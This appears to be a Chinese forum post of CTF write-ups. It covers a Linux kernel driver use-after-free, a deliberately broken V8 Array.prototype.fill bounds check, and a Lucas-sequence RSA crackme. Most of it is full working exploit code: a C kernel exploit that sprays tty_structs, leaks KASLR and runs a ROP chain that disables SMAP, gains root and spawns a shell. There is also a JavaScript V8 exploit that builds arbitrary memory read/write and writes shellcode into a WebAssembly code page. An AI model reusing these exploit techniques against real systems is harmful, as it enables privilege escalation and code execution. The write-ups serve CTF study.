0x133D: if ( copy_from_user(args, args_user, 24LL) || args[0] >= cnt || cnt <= args[1] || cnt <= args[2] || (v7 = &staffs[args[2]], v7->rc == 0xDEADBEEFLL) || args[1] != v7->linked_to ) { LABEL_39: ret = -22LL; } else if ( v7->what != 0xDEADBEEFLL || staffs[args[0]].rc != 0xDEADBEEFLL || args[0] == args[1] ) { staffs[args[0]].linked_to = -1LL; LABEL_16: ret = 0LL; } else { ret = 0LL; kfree(v7->data); // UAF / double free } break; default: break; } mutex_unlock(&lock); return ret; }
BUG 主要是在 0x133D 里面满足一些条件的时候可以任意 free Staff::data
,从而造出 double free / UAF。这里的对象是分配在 kmalloc_caches[10]
上的,比较大,可以用 tty 占上。
利用稍微有一点蛋疼,是因为作者编译的内核精简过度了,甚至连 SMP 都没开(那为什么 qemu 启动的时候要给多核呢?搞不懂。),导致 workqueue 相关的函数没有编译进去,没法利用里面的一个很好用的 gadget。由于开了 SMAP,需要内核 ROP。栈迁移可以用内核里fault的时候用到的一个天然的保存栈/栈迁移指令序列,可以把 rsp 迁到 rax 指向的地方。
接下来 ROP 关掉 SMAP,把栈迁回用户态,写一个长一点的 ROP 提权,再返回用户态即可。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/mman.h> #define TTY_MAGIC 0x5401 #define TIOCSBRK 0x5427 #define KPWN_IOCTL_BASE 0x1336 int modfd = 0; int create_staff() { int ret = ioctl(modfd, KPWN_IOCTL_BASE + 0); if (ret < 0) { perror("create_staff"); exit(1); } return ret; } int link_staff(uint64_t to, uint64_t from) { uint64_t args[2] = {to, from}; int ret = ioctl(modfd, KPWN_IOCTL_BASE + 1, args); if (ret < 0) { perror("link_staff"); exit(1); } return ret; } int lock_staff(uint64_t idx) { int ret = ioctl(modfd, KPWN_IOCTL_BASE + 2, idx); if (ret < 0) { perror("lock_staff"); exit(1); } return ret; } int unlock_staff(uint64_t idx) { int ret = ioctl(modfd, KPWN_IOCTL_BASE + 3, idx); if (ret < 0) { perror("unlock_staff"); exit(1); } return ret; } int write_data(uint64_t idx, void* data, size_t size) { uint64_t args[3] = {idx, data, size}; int ret = ioctl(modfd, KPWN_IOCTL_BASE + 4, args); if (ret < 0) { perror("write_data"); exit(1); } return ret; } int read_data(uint64_t idx, void* data, size_t size) { uint64_t args[3] = {idx, data, size}; int ret = ioctl(modfd, KPWN_IOCTL_BASE + 5, args); if (ret < 0) { perror("read_data"); exit(1); } return ret; } int destroy_staff(uint64_t idx) { int ret = ioctl(modfd, KPWN_IOCTL_BASE + 6, idx); if (ret < 0) { perror("destroy_staff"); exit(1); } return ret; } int maybe_unlink_staff(uint64_t idx0, uint64_t idx1, uint64_t idx2) { uint64_t args[3] = {idx0, idx1, idx2}; int ret = ioctl(modfd, KPWN_IOCTL_BASE + 7, args); if (ret < 0) { perror("maybe_unlink_staff"); exit(1); } return ret; } const uint64_t KERNELBASE = 0xFFFFFFFF81000000; const uint64_t ptm_unix98_ops = 0xffffffff816280e0; const uint64_t pty_unix98_ops = 0xffffffff81627fc0; // Gadgets: // 0xffffffff81200f11: mov rsp, rax; lea rbp, [rsp + 1]; push r12; ret; const uint64_t mov_rsp_rax_pop_copy_pivot_push_ret = 0xFFFFFFFF81200F86; const uint64_t pop_rdi_ret = 0xffffffff810354a0; const uint64_t store_rdi_rax_ret = 0xFFFFFFFF811042DF; const uint64_t load_rdi_rdi_pop_ret = 0xFFFFFFFF8110EAE7; const uint64_t prepare_kernel_cred = 0xffffffff8104f050; const uint64_t commit_creds = 0xffffffff8104f210; const uint64_t ebfe = 0xFFFFFFFF8105E847; const uint64_t sysret = 0xFFFFFFFF81200106; const uint64_t pop_r11_pop_ret = 0xffffffff810e8a8e; const uint64_t pop_rcx_pop_pop_ret = 0xFFFFFFFF81152CE9; const uint64_t pop_rax_ret = 0xFFFFFFFF8101C6D1; const uint64_t mov_cr4_rax_pop_ret = 0xffffffff8101c96f; const uint64_t pop_rsp = 0xFFFFFFFF810C29AF; const uint64_t nop = 0xFFFFFFFF810C29B1; uint64_t kaslr_slide = 0; int ttyfds[128]; uint8_t leakbuf[0x300]; uint8_t rwbuf[0x300]; void hexdump(void* _data, size_t size) { uint8_t* data = _data; for (int i = 0; i < size; i++) { printf("%02x ", data[i]); if (i % 16 == 15) { putchar('\n'); } } } void win() { printf("uid = %d\n", getuid()); execl("/bin/sh", "/bin/sh", NULL); while (1); } int main(void) { void* ropstack = mmap(0x23340000, 0x10000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); void* userstack = mmap(0x23330000, 0x10000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); memset(ropstack, 0xCC, 0x10000); memset(userstack, 0xCC, 0x10000); ropstack += 0x8000; userstack += 0x8000; modfd = open("/dev/kpwn", O_RDONLY); if (modfd < 0) { perror("open"); return 1; } create_staff(); create_staff(); create_staff(); lock_staff(0); link_staff(0, 1); unlock_staff(0); lock_staff(2); maybe_unlink_staff(2, 0, 1); create_staff(); for (int i = 0; i < 128; i++) { ttyfds[i] = open("/dev/ptmx", O_RDWR); } for (int i = 0; i < 128; i++) { if (ttyfds[i] < 0) { perror("open ptmx"); return 1; } } read_data(1, rwbuf, 0x300); hexdump(rwbuf, 0x300); if (*(uint32_t*)rwbuf != TTY_MAGIC) { puts("Failed to reclaim free-d buffer via tty_struct :("); return 1; } uint64_t tty_operations = ((uint64_t*)rwbuf)[3]; printf("tty_operations = %#016lx\n", tty_operations); kaslr_slide = tty_operations - ptm_unix98_ops; printf("kaslr slide = %#016lx\n", kaslr_slide); printf("kernel text base = %#016lx\n", KERNELBASE + kaslr_slide); uint64_t tty_struct = ((uint64_t*)rwbuf)[0x38/8] - 0x38; printf("victim tty struct = %#016lx\n", tty_struct); uint64_t* nya = (uint64_t*)rwbuf; nya[3] = tty_struct + 0x270; for (int i = 0; i < 18; i++) { nya[0x270 / 8 + i] = 0x4040404040404040 + 0x0101010101010101 * i; } nya[0x270 / 8 + 11] = mov_rsp_rax_pop_copy_pivot_push_ret + kaslr_slide; uint64_t* rop = nya + 0x270 / 8; rop[0] = pop_rax_ret + kaslr_slide; rop[1] = 0x6b0; rop[2] = pop_rcx_pop_pop_ret + kaslr_slide; rop[3] = 0x202; rop[4] = 0; rop[5] = 0; rop[6] = mov_cr4_rax_pop_ret + kaslr_slide; rop[7] = 0; rop[8] = pop_rsp + kaslr_slide; rop[9] = ropstack; uint64_t* userrop = ropstack; *userrop++ = nop + kaslr_slide; *userrop++ = nop + kaslr_slide; *userrop++ = nop + kaslr_slide; *userrop++ = nop + kaslr_slide; userrop[0] = pop_rdi_ret + kaslr_slide; userrop[1] = 0; userrop[2] = prepare_kernel_cred + kaslr_slide; userrop[3] = pop_rdi_ret + kaslr_slide; userrop[4] = tty_struct+0x300; userrop[5] = store_rdi_rax_ret + kaslr_slide; userrop[6] = load_rdi_rdi_pop_ret + kaslr_slide; userrop[7] = 0; userrop[8] = commit_creds + kaslr_slide; userrop[9] = pop_r11_pop_ret + kaslr_slide; userrop[10] = 0x202; userrop[11] = 0; userrop[12] = pop_rcx_pop_pop_ret + kaslr_slide; userrop[13] = win; userrop[14] = 0; userrop[15] = 0; userrop[16] = sysret + kaslr_slide; userrop[17] = 0; userrop[18] = 0; userrop[19] = userstack; write_data(1, rwbuf, 0x300); for (int i = 0; i < 128; i++) { ioctl(ttyfds[i], TIOCSBRK, 0); // pppppppanic! } puts("Failed :("); while(1); return 0; }
没怎么碰过 v8,有说错的地方请多指教。
观赏给出的 diff:
diff --git a/src/d8/d8.cc b/src/d8/d8.cc index 13a35b0cd3..3211a43525 100644 --- a/src/d8/d8.cc +++ b/src/d8/d8.cc @@ -1691,7 +1691,7 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) { } Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { - Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate); + Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);/* global_template->Set( String::NewFromUtf8(isolate, "print", NewStringType::kNormal) .ToLocalChecked(), @@ -1879,7 +1879,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { String::NewFromUtf8(isolate, "async_hooks", NewStringType::kNormal) .ToLocalChecked(), async_hooks_templ); - } + }*/ return global_template; } diff --git a/src/objects/elements.cc b/src/objects/elements.cc index 6e5648d2f4..5e259925dc 100644 --- a/src/objects/elements.cc +++ b/src/objects/elements.cc @@ -2148,12 +2148,6 @@ class FastElementsAccessor : public ElementsAccessorBase<Subclass, KindTraits> { } // Make sure we have enough space. - uint32_t capacity = - Subclass::GetCapacityImpl(*receiver, receiver->elements()); - if (end > capacity) { - Subclass::GrowCapacityAndConvertImpl(receiver, end); - CHECK_EQ(Subclass::kind(), receiver->GetElementsKind()); - } DCHECK_LE(end, Subclass::GetCapacityImpl(*receiver, receiver->elements())); for (uint32_t index = start; index < end; ++index) {
可以注意到引入的 bug 是把 Array.prototype.fill
处理 FastDoubleArray 之类的东西的时候的范围检查给删了。应该是个挺儿童的题目。
直接传一个很大的值并不 work,是因为前面的代码里处理负数 start 和 end 的时候顺便修了 start 和 end 的范围。
如果你找不到前面的代码在哪,推荐使用 ccls (shameless plug /s
因为获取 end 啊之类的时候可以触发 callback,可以在 callback 里触发 shrink,这样的话在上面的边界检查被删除的情况下就可以触发一个 OOB 写了。
接下来的做法就是到处搜一搜,拼凑一些利用技巧,组装成 exploit 即可。路径大概是:
var CONVERSION = new ArrayBuffer(8); var CONVERSION_U32 = new Uint32Array(CONVERSION); var CONVERSION_F64 = new Float64Array(CONVERSION); function ljust(x, n, c){ while (x.length < n) x = c+x; return x; } function rjust(x, n, c){ x += c.repeat(n); return x; } function tohex64(x){ return "0x"+ljust(x[1].toString(16),8,'0')+ljust(x[0].toString(16),8,'0'); } function u32_to_f64(u){ CONVERSION_U32[0] = u[0]; CONVERSION_U32[1] = u[1]; return CONVERSION_F64[0]; } function f64_to_u32(f, b=0){ CONVERSION_F64[0] = f; if (b) return CONVERSION_U32; return new Uint32Array(CONVERSION_U32); } function gc(){ for (let i=0;i<0x10;i++) new ArrayBuffer(0x800000); } wasm_bytes = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 1, 127, 0, 96, 0, 0, 2, 25, 1, 7, 105, 109, 112, 111, 114, 116, 115, 13, 105, 109, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 0, 3, 2, 1, 1, 7, 17, 1, 13, 101, 120, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 1, 10, 8, 1, 6, 0, 65, 42, 16, 0, 11]); wasm_inst = new WebAssembly.Instance(new WebAssembly.Module(wasm_bytes), {imports: {imported_func: function(x){ return x; }}}); wasm_func = wasm_inst.exports.exported_func; const FORGED_LENGTH = 0x10000; const nya = u32_to_f64([0, FORGED_LENGTH]); let arr0 = []; let victimz = []; for (let i = 0; i < 128; i++) { arr0.push(1.234); } arr0.fill(nya, 37, {valueOf() { arr0.length = 16; // gc(); for (let i = 0; i < 4096; i++) { let victim = Array(16); victim.fill(7.777); victimz.push(victim); } return 38; }}); let bingo; for (let i = 0; i < victimz.length; i++) { if (victimz[i].length == FORGED_LENGTH) { bingo = victimz[i]; } } victimz = undefined; const tag = 0xbabe; const tagf64 = u32_to_f64([0, tag]); let ta = []; for (let i = 0; i < 8192; i++) { ta.push(new Uint32Array(0x1000)); ta[ta.length - 1].buffer; let obj_arr = new Array(0x80).fill(wasm_func); for (let i = 0; i < 4; i++) obj_arr[i] = tag; ta.push(obj_arr); } gc(); let badboy = -1; for (let i = 1; i < bingo.length; i++) { let cur = f64_to_u32(bingo[i], 1)[0]; let last = f64_to_u32(bingo[i - 1], 1)[0]; // console.log(tohex64(f64_to_u32(bingo[i], 1))); if (badboy == -1 && cur == 0x1000 && last == 0x4000) { console.log("found", i); bingo[i] = u32_to_f64([0x20000000, 0]); bingo[i-1] = u32_to_f64([0x80000000, 0]); badboy = i; break; } } let wasm_func_addr; for (let i = 0; i < bingo.length; i++) { if (bingo[i] == tagf64 && bingo[i+1] == tagf64 && bingo[i+2] == tagf64 && bingo[i+3] == tagf64) { wasm_func_addr = bingo[i+4]; break; } } if (badboy == -1) { throw "failed"; } console.log('badboy', badboy); console.log('wasm_func_addr', tohex64(f64_to_u32(wasm_func_addr))); let rw; for (let i = 0; i < ta.length; i++) { if (ta[i].length != 0x1000 && ta[i].length != 128) { rw = ta[i]; break; } } // %DebugPrint(wasm_func); // %DebugPrint(rw); // %DebugPrint(rw.buffer); // console.log("rw", rw.length); // bingo[badboy + 1] = u32_to_f64([0x41414141, 0x4141]); // console.log(rw[0]); function r32(addr) { bingo[badboy + 1] = u32_to_f64(addr); return rw[0]; } function r64(addr) { bingo[badboy + 1] = u32_to_f64(addr); return [rw[0], rw[1]]; } ptr = f64_to_u32(wasm_func_addr); console.log(tohex64(ptr)); ptr[0]--; ptr[0] += 0x18; ptr = r64(ptr); console.log(tohex64(ptr)); ptr[0]--; ptr[0] += 0x8; ptr = r64(ptr); console.log(tohex64(ptr)); let co = [ptr[0], ptr[1]]; ptr[0]--; ptr[0] += 0x10; ptr = r64(ptr); console.log(tohex64(ptr)); // ptr[0]--; r64(ptr); // for (let i = 0; i < 0x100; i += 2) { // let zzz = [rw[i], rw[i+1]]; // console.log(4*i, tohex64(zzz)); // } ptr[0]--; ptr[0] += 0x80; ptr = r64(ptr); console.log(tohex64(ptr)); let codepage = [ptr[0], ptr[1]]; ptr = co; ptr[0]--; ptr[0] += 0x1c; ptr = r64(ptr); console.log(tohex64(ptr)); codepage[0] += ptr[0]; ptr = r64(codepage); // rw[0] = 0xcccccccc; rw[0] = 3091753066; rw[1] = 1852400175; rw[2] = 1932472111; rw[3] = 3884533840; rw[4] = 23687784; rw[5] = 607420673; rw[6] = 16843009; rw[7] = 1784084017; rw[8] = 21519880; rw[9] = 2303219430; rw[10] = 1792160230; rw[11] = 84891707; wasm_func();
作者实现了一个模 n 的 Lucas sequence 上的 RSA。n 是个 256bit 的合数,有三个素因子。参照着解密即可。
Python 尽量 1:1 翻译的作者的程序,如果你看不出这是 Lucas sequence,不妨输出前几个值然后 OEIS 一下:
# coding=utf8 import hashlib try: import gmpy2 as gmpy except: import gmpy WANBIGUIZHAO = u'完璧归赵'.encode('gbk') WTF = '\xde\xad\xbe\xef\xca\xfe\xc0\xde' CHECK = u'PEDIY_CTF2019_Q3_完璧归赵_Crackme_Readyu_'.encode('gbk') USERNAME = 'username' def CheckCode(inp): TAG = 'KXCTFXXXX' pos = inp.find(TAG) if pos == -1: raise ValueError('BadCode: No TAG?') part1, part2 = inp[:pos], inp[pos+len(TAG):] if len(part1) < 3 or len(part2) < 8: raise ValueError('BadCode: Too short') if part2[0] == '0': raise ValueError('BadCode: Should not start with 0') if not all([x in '0123456789ABCDEF' for x in part2]): raise ValueError('BadCode: Part2 should contain 0-9A-F only') return part1, part2 def BigIntFromBytes(bytez): return int(bytez.encode('hex'), 16) def CheckFlag(check, name, code): a, b = CheckCode(code) if name != a: raise ValueError('BadName') if CheckCheck(check, name, 'KXCTF19Q3', b): print 'Success' else: raise ValueError('BadCheck') class LucasSequence(object): class Pair(object): def __init__(self, x, y): self.x = x self.y = y def __add__(self, other): assert self.lucas == other.lucas return self.lucas.add(self, other) def __sub__(self, other): return self + (-other) def __rmul__(self, k): return self.lucas.mul(k, self) def __neg__(self): return self.lucas.neg(self) def __repr__(self): return 'Pair(x = {:#x}, y = {:#x})'.format(int(self.x), int(self.y)) def __init__(self, p, a, b): self.p = p self.a = a self.b = b self.inv_2 = gmpy.invert(2, p) self.k = (a * a - 4 * b) % p def __call__(self, x, y): pair = LucasSequence.Pair(x % self.p, y % self.p) pair.lucas = self return pair def add(self, p0, p1): return self((p0.x * p1.y + p1.x * p0.y) * self.inv_2 % self.p, (self.k * p0.x * p1.x + p0.y * p1.y) * self.inv_2 % self.p) @property def G(self): return self(1, self.a) @property def zero(self): return self(0, 2) def neg(self, pair): return self(-pair.x, pair.y) def mul(self, k, p0): cur = p0 ans = self.zero while k != 0: if k & 1: ans = ans + cur cur = cur + cur k >>= 1 return ans def kth(self, k): return k * self.G def CharwiseNot(text): return ''.join(map(lambda x: chr(~ord(x) % 256), text)) def CheckCheck(check, name, salt, code): TAIL = WANBIGUIZHAO + WTF + WANBIGUIZHAO + WANBIGUIZHAO print repr(hashlib.sha1(code + TAIL).digest()) code_digest = hashlib.sha1(code + TAIL).digest() + salt check_digest = BigIntFromBytes(hashlib.sha1(check).digest()) name_digest = BigIntFromBytes(hashlib.sha1(name).digest()) check_name_digest = BigIntFromBytes(hashlib.sha1(check + name).digest()) wanbi_digest = BigIntFromBytes(hashlib.sha1(WANBIGUIZHAO).digest()) BLACKLIST = map(BigIntFromBytes, [WANBIGUIZHAO, WANBIGUIZHAO + WANBIGUIZHAO, WTF, salt]) + [ check_digest, name_digest, check_name_digest, wanbi_digest, ] # modulo = 128959 * 277879388132275220363 * 804543020813130593505380215293268595059305396789149 modulo = BigIntFromBytes(hashlib.sha256(WANBIGUIZHAO + WANBIGUIZHAO).digest()) print 'modulo', hex(modulo) x = int(code, 16) if x >= modulo or x <= 0x20190910 or x in BLACKLIST: return False not_code_digest = BigIntFromBytes(CharwiseNot(code_digest[:20])) code_digest = BigIntFromBytes(code_digest) x = x + check_digest # + modulo lucas = LucasSequence(modulo, x, 1) p0, _ = lucas.kth(code_digest) p1, _ = lucas.kth(not_code_digest) x0, y0 = p0.x, p0.y x1, y1 = p1.x, p1.y # Calc A(2n) from A(n) for i in xrange(len(salt)): for _ in xrange(8): x1 = x1 * y1 % modulo y1 = (y1 * y1 - 1 - 1 + modulo + modulo) % modulo if x0 == y0 and x1 == y1 and x1 == x0 and x1 != 1: return False p0 = lucas(x0, y0) p1 = lucas(x1, y1) lucas2 = LucasSequence(modulo, ((p0 + p1).y + name_digest) % modulo, 1) t = lucas2.kth(modulo)[0].y cur = t + wanbi_digest + modulo + modulo + modulo + modulo for i in xrange(len(salt)): cur = cur - modulo if cur == check_name_digest: return True if cur < modulo: return False if cur < check_name_digest: return False return False if __name__ == "__main__": code = '11451400000000' CheckFlag(CHECK, USERNAME, USERNAME + 'KXCTFXXXX' + code) # usernameKXCTFXXXX11451400000000
里面有一些干扰项,去除后可以看到就是两次 Lucas 序列上的 RSA 加密要求结果等于一个常数。对应解密即可:
# coding=utf8 from sage.rings.finite_rings.integer_mod import lucas import hashlib WANBIGUIZHAO = u'完璧归赵'.encode('gbk') CHECK = u'PEDIY_CTF2019_Q3_完璧归赵_Crackme_Readyu_'.encode('gbk') USERNAME = 'username' PUBKEY = 'KXCTF19Q3' def IntFromBytes(bytez): return int(bytez.encode('hex'), 16) def lucas_rsa_decrypt(c, d, n): return lucas(d, Mod(c, n), 1)[0] # Known constants: PUBKEY_DIGEST = IntFromBytes("\xff" * 20 + PUBKEY) CHECK_DIGEST = IntFromBytes(hashlib.sha1(CHECK).digest()) NAME_DIGEST = IntFromBytes(hashlib.sha1(USERNAME).digest()) CHECK_NAME_DIGEST = IntFromBytes(hashlib.sha1(CHECK + USERNAME).digest()) WANBI_DIGEST = IntFromBytes(hashlib.sha1(WANBIGUIZHAO).digest()) # MODULO = 128959 * 277879388132275220363 * 804543020813130593505380215293268595059305396789149 MODULO = IntFromBytes(hashlib.sha256(WANBIGUIZHAO + WANBIGUIZHAO).digest()) fac = factor(MODULO) phi = 1 for x, k in fac: assert k == 1, 'must be square free' phi *= x**2 - 1 print 'phi =', phi d1 = Mod(MODULO, phi) ^ -1 d2 = Mod(PUBKEY_DIGEST, phi) ^ -1 m1 = lucas_rsa_decrypt(CHECK_NAME_DIGEST - WANBI_DIGEST, d1, MODULO) print 'm1 =', m1 m2 = lucas_rsa_decrypt(m1 - NAME_DIGEST, d2, MODULO) print 'm2 =', m2 code = m2 - CHECK_DIGEST print 'code =', hex(int(code)) print 'Answer:', 'usernameKXCTFXXXX' + hex(int(code))[2:].rstrip('L').upper()
[培训]《安卓高级研修班》彻底搞定函数抽取型壳!现在报名得源码和安卓8.1脱壳机!10月20日深圳专场不见不散!
最后于 51分钟前 被kanxue编辑 ,原因: